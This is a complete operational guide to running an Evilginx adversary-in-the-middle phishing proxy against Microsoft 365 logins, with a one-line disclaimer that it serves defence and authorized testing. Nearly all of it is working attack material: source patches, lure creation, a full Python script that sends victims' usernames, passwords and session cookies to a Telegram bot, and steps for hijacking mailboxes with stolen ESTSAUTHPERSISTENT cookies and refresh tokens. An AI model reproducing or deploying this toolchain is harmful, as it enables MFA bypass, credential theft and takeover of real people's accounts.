Evilginx Complete Setup Guide

A-Z whitepaper — from first VPS login to captured session. Everything confirmed in production.
All research documented here was conducted on owned infrastructure against own test accounts only. This document exists for defensive understanding and authorized penetration testing.

0. What Is AitM Phishing

Traditional phishing sends a fake login page. The victim types credentials into a page you control. Problem: if MFA is enabled, the password alone is useless.

Adversary-in-the-Middle (AitM) runs a transparent reverse proxy. The victim's browser talks to your server, your server forwards everything to the real Microsoft login and relays responses back. The victim completes the real login including MFA, and you silently extract the session cookies from the traffic. Those cookies are what the browser uses after MFA. They work without MFA.

Evilginx implements AitM. It rewrites URLs in real time so all links in the Microsoft login page point to your domain. From the victim's perspective, everything looks like the real login. It IS the real login — proxied through you.

What Gets Captured

DataWhenValue
Username (email)Typed on login pageIdentity of victim
PasswordTyped on login pageCredential reuse on other services
ESTSAUTHAfter successful loginSession token, expires on browser close
ESTSAUTHPERSISTENTAfter successful loginPersistent — lasts days/weeks, opens ALL M365 services
SignInStateCookieAfter successful loginTracks MFA completion state

ESTSAUTHPERSISTENT is the prize. It is issued by Microsoft Identity Provider at tenant level, not by any individual app. Import it into any browser, visit outlook.office.com — full inbox access. Not because you phished Outlook. Because the cookie works across all M365 services regardless of which app the victim logged into.

1. Prerequisites

ItemDetail
VPSUbuntu 22.04 or 24.04. Root access. Clean install. Njalla for privacy.
DomainMust be on Cloudflare. DNS API required for wildcard SSL cert issuance.
Cloudflare accountFree tier works. Zone must be active (nameservers pointing to Cloudflare).
Telegram botOne bot per VPS. @BotFather on Telegram → /newbot → copy the token.
Your Telegram chat IDMessage @userinfobot on Telegram to get your numeric ID.
SSH key pairEd25519 preferred. Generate: ssh-keygen -t ed25519 -f ~/.ssh/keyname

2. Architecture Decision

Two ways to route HTTPS traffic to evilginx. Pick one before you start.

Architecture A — Nginx SNI Passthrough (Recommended for Fresh VPS)

Nginx sits on port 443. It reads the SNI field from TLS handshakes without decrypting them, and forwards raw TCP to evilginx on port 8443. Evilginx handles TLS itself. No Docker needed.

Browser port 443 → nginx (SNI passthrough, raw TCP) → evilginx port 8443
Browser port 80  → nginx (HTTP → HTTPS redirect)

Architecture B — Traefik TCP Router (Existing Docker VPS)

If Docker and Traefik are already running (e.g. alongside Netlock RMM). Traefik TCP router does SNI passthrough to evilginx on port 8443.

Browser 443 → Traefik Docker TCP router (SNI passthrough) → host.docker.internal:8443 → evilginx

3. VPS First Boot — System Setup

First actions after SSH access:

apt-get update && apt-get upgrade -y
apt-get install -y git curl wget tmux net-tools unzip build-essential

# Check port 53 — evilginx needs it for its built-in DNS server
ss -tlnp | grep :53

If systemd-resolved is holding port 53 (default on Ubuntu):

echo "DNSStubListener=no" >> /etc/systemd/resolved.conf
systemctl restart systemd-resolved
ss -tlnp | grep :53  # should return nothing

4. Install Go (For Building from Source)

which go && go version  # skip if already installed
wget https://go.dev/dl/go1.21.5.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.21.5.linux-amd64.tar.gz
echo 'export PATH=$PATH:/usr/local/go/bin' >> /root/.bashrc
export PATH=$PATH:/usr/local/go/bin
go version

5. Cloudflare DNS Setup

Cloudflare dashboard → your domain → DNS → Records. Proxy must be OFF (grey cloud) for all records used by evilginx. Orange cloud means Cloudflare intercepts TLS, which breaks cert issuance.

Wildcard A Records — Recommended (confirmed on office-auth.com)

TypeNameContentProxy
A@YOUR_VPS_IPDNS only (grey)
A*YOUR_VPS_IPDNS only (grey)

The wildcard (*) covers all subdomains including login.yourdomain.com where evilginx serves the lure.

NS Delegation — Advanced (Architecture B with Traefik only)

TypeNameContentProxy
Ans1.msYOUR_VPS_IPDNS only (grey)
NSmsns1.ms.yourdomain.comN/A

Delegates the ms.yourdomain.com zone to evilginx's built-in DNS server so it handles its own ACME DNS-01 challenge. Only needed for Architecture B.

6. Cloudflare API Token

Certbot needs this to create DNS TXT records during certificate validation. Cloudflare: Profile → API Tokens → Create Token → Edit zone DNS template → select your domain → Create Token. Copy immediately — shown once only.

echo "YOUR_CF_TOKEN_HERE" > /root/.cf_creds
chmod 600 /root/.cf_creds
wc -c /root/.cf_creds  # should show 40+ chars

7. Wildcard SSL Certificate

Gets cert valid for yourdomain.com AND *.yourdomain.com. The DNS-01 challenge proves ownership via a Cloudflare TXT record — no HTTP server required during issuance.

apt-get install -y certbot python3-certbot-dns-cloudflare

TOKEN=$(cat /root/.cf_creds | tr -d '[:space:]')
echo "dns_cloudflare_api_token = $TOKEN" > /root/.cloudflare.ini
chmod 600 /root/.cloudflare.ini

certbot certonly \
  --dns-cloudflare \
  --dns-cloudflare-credentials /root/.cloudflare.ini \
  -d yourdomain.com \
  -d '*.yourdomain.com' \
  --non-interactive --agree-tos \
  -m admin@yourdomain.com

Success ends with: Successfully received certificate. Certs at:

/etc/letsencrypt/live/yourdomain.com/fullchain.pem
/etc/letsencrypt/live/yourdomain.com/privkey.pem
systemctl status certbot.timer  # auto-renewal is enabled by certbot automatically

8. Nginx SNI Passthrough (Architecture A Only)

apt-get install -y nginx libnginx-mod-stream

Overwrite /etc/nginx/nginx.conf completely. Write it with Python to avoid shell variable interpolation issues:

python3 - <<'EOF'
cfg = """load_module /usr/lib/nginx/modules/ngx_stream_module.so;
user www-data;
worker_processes auto;
pid /run/nginx.pid;
events { worker_connections 1024; }
stream {
    server {
        listen 443;
        proxy_pass 127.0.0.1:8443;
        proxy_timeout 600s;
        proxy_connect_timeout 10s;
    }
}
http {
    server {
        listen 80;
        return 301 https://$host$request_uri;
    }
}
"""
open('/etc/nginx/nginx.conf','w').write(cfg)
print('written')
EOF
nginx -t && nginx
stream block without load_module line at top
nginx: unknown directive stream. The stream module is dynamic and must be loaded explicitly. load_module line must be first.

9. Get the Jan Bakker Evilginx Fork

The standard evilginx2 repo phishlets for Microsoft login fail. Microsoft changed redirect_uri allowlisting and the standard sub_filters miss the updated login page JS. Jan Bakker's fork has current sub_filters. Use this fork only.

cd /root
git clone https://github.com/jan-bakker/evilginx2 evilginx-bakker
cd evilginx-bakker
ls phishlets/ | grep o365  # confirm o365.yaml is present

10. The Three Source Patches

Three code changes required before building. All three are mandatory. Miss one and it fails in a non-obvious way.

Patch 1 — main.go: Port 443 to 8443

Why: Evilginx hardcodes port 443. Nginx already owns port 443. Evilginx cannot bind and fails with "address already in use". Moving evilginx to 8443 lets nginx forward the raw TLS stream to it. The browser still connects on 443 — the port shift is invisible.

grep -n "NewHttpProxy" main.go  # find line number (~line 153)

Find this line:

hp, _ := core.NewHttpProxy("", 443, cfg, crt_db, db, bl, *developer_mode)

Change 443 to 8443:

hp, _ := core.NewHttpProxy("", 8443, cfg, crt_db, db, bl, *developer_mode)

Fast way with sed:

sed -i 's/core.NewHttpProxy("", 443,/core.NewHttpProxy("", 8443,/' main.go
grep "NewHttpProxy" main.go  # verify

Patch 2 — core/certdb.go: DNS-01 ACME Challenge

Why: Evilginx's built-in ACME uses HTTP-01. HTTP-01 requires answering on port 80. Nginx owns port 80. The challenge fails silently with a 404. DNS-01 validates via a Cloudflare TXT record — no HTTP port needed. The lego DNS library and evilginx nameserver already have everything needed. It just needs wiring up.

Open core/certdb.go. In the imports block, add:

"github.com/go-acme/lego/v3/challenge/dns01"

After the existing HTTPChallenge struct, add this new struct:

type DNSChallenge struct {
    crt_db *CertDb
}

func (ch DNSChallenge) Present(domain, token, keyAuth string) error {
    fqdn, value := dns01.GetRecord(domain, keyAuth)
    ch.crt_db.ns.AddTXT(fqdn, value, 120)
    return nil
}

func (ch DNSChallenge) CleanUp(domain, token, keyAuth string) error {
    ch.crt_db.ns.ClearTXT()
    return nil
}

In the registerCertificate function, find:

d.client.Challenge.SetHTTP01Provider(d.httpChallenge)

Replace with:

d.client.Challenge.SetDNS01Provider(&DNSChallenge{crt_db: d})

Patch 3 — core/nameserver.go: Authoritative Answer Flag

Why: Evilginx's nameserver was missing the AA (Authoritative Answer) bit in DNS responses. Google DNS (8.8.8.8), when following the NS delegation to query evilginx's nameserver for the ACME TXT record, receives non-authoritative responses and returns SERVFAIL. The cert challenge fails. One line. Everything depends on it. This was the hardest patch to find — the SERVFAIL error gives no hint that the AA flag is the cause.

Open core/nameserver.go. Find handleRequest:

func (n *Nameserver) handleRequest(w dns.ResponseWriter, r *dns.Msg) {
    m := new(dns.Msg)
    m.SetReply(r)

Add m.Authoritative = true immediately after SetReply:

func (n *Nameserver) handleRequest(w dns.ResponseWriter, r *dns.Msg) {
    m := new(dns.Msg)
    m.SetReply(r)
    m.Authoritative = true   // critical — without this Google DNS returns SERVFAIL on ACME challenge

11. Build the Binary

export PATH=$PATH:/usr/local/go/bin
cd /root/evilginx-bakker
go build -mod=vendor -o bin/evilginx .
ls -lh bin/evilginx  # ~13MB — no output = success

If module errors:

go mod tidy && go build -mod=vendor -o bin/evilginx .

12. Transfer Pre-Built Binary (Faster Alternative to Building)

If another VPS already has the patched binary, pipe it directly. Saves 20 minutes of build time.

# From Mac — pipe tar stream from old VPS to new VPS
ssh -i ~/.ssh/old_key root@OLD_IP "tar -czf - -C /root evilginx-bakker" | \
  ssh -i ~/.ssh/new_key root@NEW_IP "tar -xzf - -C /root"

# Verify files arrived
ssh -i ~/.ssh/new_key root@NEW_IP \
  "ls /root/evilginx-bakker/bin/evilginx /root/evilginx-bakker/phishlets/o365.yaml"
Binary is architecture-specific. Both VPS must be x86_64. Check: uname -m

13. Place SSL Certs for Evilginx

Evilginx reads certs from its own directory — NOT from /etc/letsencrypt. Path format: /root/.evilginx/crt/{base_domain}/{phishlet}.crt and .key.

base_domain = what you will set with "config domain". Use yourdomain.com, NOT login.yourdomain.com. Evilginx prepends login. itself.
mkdir -p /root/.evilginx/crt/yourdomain.com
cp /etc/letsencrypt/live/yourdomain.com/fullchain.pem \
   /root/.evilginx/crt/yourdomain.com/o365.crt
cp /etc/letsencrypt/live/yourdomain.com/privkey.pem \
   /root/.evilginx/crt/yourdomain.com/o365.key
ls -la /root/.evilginx/crt/yourdomain.com/

14. Start and Configure Evilginx

Always run in tmux. Evilginx needs an interactive console for initial setup.

tmux new -s evil
cd /root/evilginx-bakker
./bin/evilginx -p ./phishlets

Wait for the : > prompt. Then configure:

config domain yourdomain.com
config ip YOUR_VPS_IP
phishlets hostname o365 yourdomain.com
phishlets enable o365
lures create o365
lures get-url 0

Output: https://login.yourdomain.com/XXXXXXXX — that is your phishing link.

phishlets hostname o365 login.yourdomain.com
Creates login.login.yourdomain.com (double prefix). Set hostname to base domain only. Evilginx prepends login. automatically.
config ipv4 x.x.x.x
Command does not exist in v2.4.2. Use: config ip x.x.x.x
Phishlet auto-disables after cert failure
Fix the cert first (populate /root/.evilginx/crt/domain/), then phishlets enable o365. Kill and fully restart evilginx if cert not picked up after placing files.

Key Console Commands

sessions              # list all captured sessions
sessions 5            # full details of session #5 — shows cookie values
lures                 # list all lures
lures get-url 0       # get URL for lure #0
blacklist unban all   # unban your own IP when testing
phishlets             # phishlet status
help                  # full command list

Detach From tmux Without Stopping Evilginx

Ctrl+B then D          # detach — evilginx keeps running in background
tmux attach -t evil    # reattach later

15. Traefik Config (Architecture B Only)

Create /home/netlock/traefik-dynamic/evilginx.yml. Traefik picks up dynamic config files automatically — no restart needed. Write with Python to avoid shell backtick issues in the HostSNI rule:

python3 - <<'EOF'
cfg = """tcp:
  routers:
    evilginx:
      rule: "HostSNI(`*.yourdomain.com`)"
      service: evilginx-svc
      tls:
        passthrough: true
      entryPoints:
        - websecure
  services:
    evilginx-svc:
      loadBalancer:
        servers:
          - address: "host.docker.internal:8443"
"""
open('/home/netlock/traefik-dynamic/evilginx.yml','w').write(cfg)
print('written')
EOF

16. Install PM2

apt-get install -y nodejs npm
npm install -g pm2

Evilginx runs in tmux (it needs an interactive console). PM2 is for the Python notify script and all other background services.

17. Telegram Notify Script — Full Code

Save as /root/evilginx_notify.py. Polls evilginx data.db every 20 seconds. Sends three messages per victim: VISITOR on page load, CAPTURE on cred/cookie extraction, and a JSON file with all cookie values (no size limit, no truncation).

import time, json, re, os, urllib.request, datetime

TG_TOKEN  = "YOUR_BOT_TOKEN"
CHAT_ID   = 123456789
DB_PATH   = "/root/.evilginx/data.db"
SEEN_FILE = "/root/.evilginx_notify_seen"
POLL_SEC  = 20

def tg_send(text):
    data = json.dumps({"chat_id": CHAT_ID, "text": text, "parse_mode": "HTML"}).encode()
    req = urllib.request.Request(
        "https://api.telegram.org/bot" + TG_TOKEN + "/sendMessage",
        data=data, headers={"Content-Type": "application/json"})
    try: urllib.request.urlopen(req, timeout=10)
    except Exception as e: print("[tg]", e)

def tg_send_file(filename, content, caption=""):
    b = "----FormBoundary"
    fb = content.encode("utf-8")
    body = (
        "--"+b+"\r\nContent-Disposition: form-data; name=\"chat_id\"\r\n\r\n"+
        str(CHAT_ID)+"\r\n--"+b+"\r\n"
        "Content-Disposition: form-data; name=\"document\"; filename=\""+filename+"\"\r\n"
        "Content-Type: application/json\r\n\r\n"
    ).encode() + fb + (
        "\r\n--"+b+"\r\nContent-Disposition: form-data; name=\"caption\"\r\n\r\n"+
        caption+"\r\n--"+b+"--\r\n"
    ).encode()
    req = urllib.request.Request(
        "https://api.telegram.org/bot"+TG_TOKEN+"/sendDocument",
        data=body, headers={"Content-Type": "multipart/form-data; boundary="+b})
    try: urllib.request.urlopen(req, timeout=15)
    except Exception as e: print("[file]", e)

def geo(ip):
    ip = ip.split(":")[0]
    if not ip or ip.startswith(("127.","192.168.","10.","172.")): return "Internal"
    try:
        r = urllib.request.urlopen("http://ip-api.com/json/"+ip+"?fields=country,city,isp",timeout=5)
        d = json.loads(r.read())
        return d.get("city","?")+", "+d.get("country","?")+" | "+d.get("isp","?")
    except: return "Unknown"

def device(ua):
    ua = ua or ""
    if "Windows NT 10.0" in ua: o = "Windows 10/11"
    elif "iPhone" in ua:
        m = re.search(r"iPhone OS ([\d_]+)", ua)
        o = "iPhone iOS "+(m.group(1).replace("_",".") if m else "")
    elif "Android" in ua:
        m = re.search(r"Android ([\d.]+)", ua)
        o = "Android "+(m.group(1) if m else "")
    elif "Macintosh" in ua: o = "macOS"
    else: o = "Unknown OS"
    if "Edg/" in ua: b = "Edge"
    elif "Chrome/" in ua:
        m = re.search(r"Chrome/([\d]+)", ua)
        b = "Chrome "+(m.group(1) if m else "")
    elif "Firefox/" in ua:
        m = re.search(r"Firefox/([\d]+)", ua)
        b = "Firefox "+(m.group(1) if m else "")
    elif "Safari/" in ua and "Chrome" not in ua: b = "Safari"
    else: b = "Unknown"
    return o+" / "+b

def cookie_count(t):
    return sum(len(c) for c in t.values() if isinstance(c,dict)) if isinstance(t,dict) else 0

def ests_keys(t):
    return [n for dom,c in (t or {}).items() if isinstance(c,dict) for n in c if "ESTSAUTH" in n.upper()]

def load_seen():
    return set(open(SEEN_FILE).read().split()) if os.path.exists(SEEN_FILE) else set()

def save_seen(s): open(SEEN_FILE,"w").write("\n".join(s))

def parse_db():
    try:
        raw = open(DB_PATH,"r",errors="replace").read()
        pat = re.compile(r'\{"id":\d+,"phishlet":"[^"]+".*?"update_time":\d+\}')
        sessions = {}
        for m in pat.finditer(raw):
            try:
                d = json.loads(m.group())
                sid = d["id"]
                if sid not in sessions or d.get("update_time",0) > sessions[sid].get("update_time",0):
                    sessions[sid] = d
            except: pass
        return sessions
    except Exception as e: print("[db]",e); return {}

def wat():
    return (datetime.datetime.utcnow()+datetime.timedelta(hours=1)).strftime("%Y-%m-%d %H:%M WAT")

seen = load_seen()
print("[notify] started")

while True:
    try:
        changed = False
        for sid, s in parse_db().items():
            ss = str(sid)
            user,pw = s.get("username",""), s.get("password","")
            tokens = s.get("tokens",{})
            ip,ua,url = s.get("remote_addr",""),s.get("useragent",""),s.get("landing_url","")

            if "v"+ss not in seen:
                tg_send("VISITOR\nSession #"+ss+
                    "\nIP: "+ip+"\nLocation: "+geo(ip)+"\nDevice: "+device(ua)+
                    "\nLure: "+url+"\nTime: "+wat())
                seen.add("v"+ss); changed = True

            if (user or tokens) and "c"+ss not in seen:
                ek = ", ".join(ests_keys(tokens)) or "none"
                tg_send("CAPTURE\nSession #"+ss+
                    "\nUser: "+(user or "(none)")+"\nPass: "+(pw or "(none)")+
                    "\nIP: "+ip+"\nLocation: "+geo(ip)+"\nDevice: "+device(ua)+
                    "\nCookies: "+str(cookie_count(tokens))+" captured\nESTS: "+ek+"\nTime: "+wat())
                seen.add("c"+ss); changed = True
                if tokens:
                    tg_send_file("session_"+ss+"_cookies.json",
                        json.dumps({"username":user,"password":pw,"cookies":tokens},indent=2),
                        "Session #"+ss+" — "+(user or "unknown"))
        if changed: save_seen(seen)
    except Exception as e: print("[loop]",e)
    time.sleep(POLL_SEC)
pm2 start /root/evilginx_notify.py --name evilginx-notify --interpreter python3
pm2 save
pm2 startup  # run the output command to enable auto-start on reboot

# Reset seen file — re-fires all alerts (for testing only)
rm /root/.evilginx_notify_seen && pm2 restart evilginx-notify

18. Verify the Full Stack

# All ports in place
ss -tlnp | grep ':443\|:8443\|:80\|:53'
# Expected: port 443 nginx (or traefik), port 8443 evilginx, port 53 evilginx DNS

# PM2 services running
pm2 ls

# Lure responds with redirect to Microsoft
curl -sk https://login.yourdomain.com/YOUR_LURE_PATH -o /dev/null -w '%{http_code}\n'
# Expected: 302

# Telegram bot alive
python3 -c "
import urllib.request, json
data = json.dumps({'chat_id': YOUR_CHAT_ID, 'text': 'test ok'}).encode()
req = urllib.request.Request('https://api.telegram.org/botYOUR_TOKEN/sendMessage',
    data=data, headers={'Content-Type': 'application/json'})
print(urllib.request.urlopen(req).read().decode()[:80])
"

19. Using Captures — Session Takeover

Method 1 — Cookie-Editor (Browser, Fastest)

Install Cookie-Editor extension (Chrome or Firefox). Open the JSON file from Telegram. Find ESTSAUTHPERSISTENT value (~800 chars). Open Cookie-Editor on outlook.office.com. Add cookie: name=ESTSAUTHPERSISTENT, value=the long string, domain=.login.microsoftonline.com, path=/. Refresh the page. Full inbox access without any login.

Method 2 — roadtx FOCI Chain (API Access)

FOCI (Family of Client IDs): a Microsoft refresh token for one app can be exchanged for an access token for any other Microsoft app in the same family. No re-authentication. No MFA prompt. The victim logged into the o365 lure. The FOCI chain extends that token to Teams, SharePoint, OneDrive, and any other M365 app.

pip install roadtx

# Authenticate using captured refresh token
roadtx auth -c d3590ed6-52b3-4102-aeff-aad2292ab01c \
  -r https://graph.microsoft.com \
  --refresh-token CAPTURED_REFRESH_TOKEN

# Exchange for Teams access token
roadtx gettokens --refresh-token REFRESH_TOKEN \
  -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 \
  -r https://graph.microsoft.com

# Call Graph API — returns victim profile + org data
curl -H "Authorization: Bearer ACCESS_TOKEN" \
  https://graph.microsoft.com/v1.0/me

# Enumerate organization
curl -H "Authorization: Bearer ACCESS_TOKEN" \
  https://graph.microsoft.com/v1.0/organization

20. Key Files Reference

FilePurpose
/root/evilginx-bakker/bin/evilginxThe binary
/root/evilginx-bakker/phishlets/o365.yamlMicrosoft o365 phishlet
/root/.evilginx/config.yamlEvilginx runtime config (domain, IP, phishlet settings)
/root/.evilginx/data.dbBoltDB — all captured sessions live here
/root/.evilginx/crt/domain/SSL certs evilginx reads at startup
/root/.evilginx_notify_seenSeen file — prevents duplicate alerts. Delete to re-fire all.
/root/evilginx_notify.pyTelegram notify script
/root/.cf_credsCloudflare API token (raw, chmod 600)
/root/.cloudflare.iniCertbot Cloudflare credentials file
/etc/letsencrypt/live/domain/Certbot certs — copy fullchain.pem and privkey.pem to evilginx crt dir
/etc/nginx/nginx.confNginx SNI passthrough config (Architecture A)

21. Complete Dead Ends — Do Not Retry

Vanilla evilginx2 o365 phishlet from the main repo
Microsoft changed redirect_uri allowlisting. Standard sub_filters miss the new login JS. Use Jan Bakker fork: github.com/jan-bakker/evilginx2
config ipv4 x.x.x.x in evilginx console
Command does not exist in v2.4.2. Use: config ip x.x.x.x
phishlets hostname o365 login.yourdomain.com
Creates login.login.yourdomain.com (double prefix). Set hostname to base domain — evilginx prepends login. itself.
Hot-reload cert by disabling and re-enabling phishlet without restarting
Cert not picked up. Kill evilginx and fully restart it after placing cert files.
HTTP-01 ACME inside evilginx
Port 80 is owned by nginx. Use certbot with DNS-01 externally. Copy resulting certs to /root/.evilginx/crt/domain/.
stream block in nginx.conf without load_module line
nginx: unknown directive stream. Add load_module /usr/lib/nginx/modules/ngx_stream_module.so; as the absolute first line.
Cloudflare proxy ON (orange cloud) for evilginx DNS records
Cloudflare intercepts TLS. Cert issuance fails. Grey cloud (DNS only) for all evilginx-related A records.
Sending full session JSON as Telegram text message
ESTSAUTHPERSISTENT alone is 800+ chars. Telegram text cap is 4096 chars. Use sendDocument file upload instead — no size limit.
nameserver.go without m.Authoritative = true in handleRequest
Google DNS returns SERVFAIL on ACME challenge. Cert never issues. Add m.Authoritative = true immediately after m.SetReply(r).
Testing capture with personal @outlook.com or @hotmail.com accounts
Personal accounts authenticate at login.live.com, not login.microsoftonline.com. The o365 phishlet only intercepts microsoftonline.com. Need a work/school account or M365 dev tenant.
Deleting /root/.evilginx/crt/ between failed cert attempts
Causes private key mismatch error on next attempt. Leave the directory intact. Only delete if explicitly forcing a full cert re-issue.
screen -dmS on Ubuntu VPS
Screen socket directory missing on clean Ubuntu. Use tmux instead.
config https_port 8443 in evilginx console
Command does not exist in v2.4.2. Port change must be made in main.go source before building.